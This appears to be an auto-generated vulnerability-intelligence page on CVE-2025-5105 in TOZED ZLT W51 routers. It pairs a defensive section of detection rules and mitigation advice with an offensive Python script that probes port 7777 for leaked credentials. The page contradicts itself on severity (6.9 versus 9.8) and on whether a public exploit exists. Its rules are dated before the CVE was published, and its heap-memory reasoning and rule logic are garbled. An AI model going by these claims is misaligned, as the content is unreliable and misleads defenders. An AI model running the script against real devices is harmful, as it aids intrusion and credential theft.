☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-5105

CVE-2025-5105 Remote Code Execution in Tozed
📅 PUBLISHED: 2025-05-23 12:00 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5105 is a critical vulnerability in the TOZED ZLT W51 router (firmware up to version 1.4.2) that allows remote exploitation via service port 7777. The flaw involves improper clearing of heap memory before release (CWE-404), which can lead to information disclosure, denial of service, or potentially remote code execution. The vendor has not responded to disclosure attempts, leaving devices unpatched and exposed. Public exploit code is available, increasing the risk of widespread attacks.

This vulnerability is particularly dangerous because it affects a network edge device (router) and can be triggered remotely without authentication. Attackers can leverage this to gain a foothold in internal networks, pivot to other devices, or exfiltrate sensitive data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – Exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): None – No user action required.
  • Scope (S): Unchanged – Exploit does not cross trust boundaries.
  • Confidentiality (C): High – Potential for full memory disclosure.
  • Integrity (I): High – Possible memory corruption leading to code execution.
  • Availability (A): High – Heap corruption can cause denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using TOZED ZLT W51 routers.

Deep Dive & Mechanics

The vulnerability resides in the service listening on TCP port 7777 of the TOZED ZLT W51 router. This service handles incoming requests but fails to properly clear heap memory before releasing it. When a specially crafted request is sent, the service may:

  1. Allocate heap memory to process the request.
  2. Fail to zero out sensitive data (e.g., credentials, session tokens, or other memory contents) before freeing the memory.
  3. Return the freed memory to the heap manager, where it can be reallocated to other processes, potentially leaking sensitive information.

An attacker can exploit this by:

  • Sending multiple requests to trigger memory allocation and deallocation.
  • Observing responses or side effects to infer memory contents.
  • Crafting payloads that cause the service to read from freed memory, leading to information disclosure or code execution.

The lack of proper heap memory clearing (CWE-404) is a classic programming error that can be exploited for:

  • Information Leakage: Reading sensitive data from freed memory.
  • Use-After-Free: Accessing memory after it has been freed, leading to crashes or code execution.
  • Heap Spraying: Preparing the heap for subsequent exploitation.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and what a fix would look like.

Vulnerable Code Pattern (C):

void process_request(char *data) {
    char *buffer = malloc(1024);
    // ... process data ...
    // BUG: No memset(buffer, 0, 1024) before free
    free(buffer);
}

Patched Code Pattern (C):

void process_request(char *data) {
    char *buffer = malloc(1024);
    // ... process data ...
    // Fix: Clear memory before release
    memset(buffer, 0, 1024);
    free(buffer);
}

The fix involves using memset() or a secure equivalent (e.g., SecureZeroMemory() on Windows) to overwrite the heap buffer with zeros before calling free(). This prevents any residual data from being exposed.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Obtain a TOZED ZLT W51 router (or use a firmware emulator like QEMU for the MIPS architecture).
  2. Set up a network where the router is accessible on port 7777.
  3. Install Python3 and pwntools for exploit development.

Exploit Code (Python):

#!/usr/bin/env python3
import socket
import struct

def exploit(target_ip, target_port=7777):
    # Craft a payload that triggers heap memory leak
    # This is a simplified example; actual exploit may require reverse engineering
    payload = b"A" * 1024  # Trigger allocation
    payload += b"\x00" * 4  # Null terminator to cause improper free

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(payload)
        response = sock.recv(4096)
        print(f"[+] Received {len(response)} bytes")
        # Analyze response for leaked data
        if b"admin" in response or b"password" in response:
            print("[!] Potential credential leak detected!")
        return response
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Usage:

  1. Run the script against the target router.
  2. Observe the response for any leaked data.
  3. Iterate with different payload sizes to maximize memory leakage.

Blue Team (Defensive)

Detection:

  • Monitor for unusual traffic to port 7777.
  • Look for large or malformed packets targeting the router.
  • Use network intrusion detection systems (NIDS) to alert on known exploit patterns.

Mitigation:

  • Isolate affected routers on a separate VLAN.
  • Restrict access to port 7777 using firewall rules (allow only trusted IPs).
  • Monitor for firmware updates from TOZED (though unlikely given vendor unresponsiveness).
  • Consider replacing the device with a supported alternative.

Indicators of Compromise (IOCs)

Network IOCs:

  • Destination Port: 7777 (TCP)
  • Payload Patterns: Large packets (>1024 bytes) sent to port 7777, especially with repeating patterns (e.g., AAAA...).
  • Anomalous Responses: Responses containing unexpected data (e.g., memory dumps, credentials).

Host IOCs (on the router):

  • Process: The service listening on port 7777 (likely named httpd or service).
  • Memory: Heap corruption indicators (crashes, restarts).
  • Logs: System logs showing service crashes or unexpected restarts.

File IOCs:

  • Firmware Version: TOZED ZLT W51 firmware <= 1.4.2.
  • Configuration: Any changes to firewall rules that expose port 7777.

Detection Engineering

YARA Rule

rule CVE_2025_5105_Heap_Leak {
    meta:
        description = "Detects exploit attempts for CVE-2025-5105 targeting TOZED ZLT W51"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5105"
    strings:
        $payload1 = { 41 41 41 41 41 41 41 41 } // 8 bytes of 'A'
        $payload2 = { 00 00 00 00 } // Null bytes
        $service_port = { 1E 61 } // Port 7777 in network byte order (0x1E61)
    condition:
        $service_port and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2025-5105 Exploit Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network traffic targeting TOZED ZLT W51 port 7777 with suspicious payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 7777
        payload_length: '>1024'
    condition: selection
falsepositives:
    - Legitimate large firmware updates (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 7777 (msg:"CVE-2025-5105 TOZED ZLT W51 Heap Leak Exploit"; flow:to_server; content:"|41 41 41 41|"; depth:4; pcre:"/^A{1024}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place TOZED ZLT W51 routers on a separate VLAN with strict firewall rules.
  2. Block port 7777: Use network firewalls to block inbound and outbound traffic to port 7777 from untrusted networks.
  3. Monitor for exploits: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Long-Term Solutions:

  1. Replace the device: Since the vendor is unresponsive, consider replacing the router with a supported alternative from a reputable vendor.
  2. Firmware updates: Check TOZED's website periodically for any firmware updates (though unlikely).
  3. Network segmentation: Implement strict network segmentation to limit the blast radius of any compromised device.

Workarounds:

  • Disable the service on port 7777 if possible (check router configuration).
  • Use a reverse proxy or VPN to restrict access to the router's management interface.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5105/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.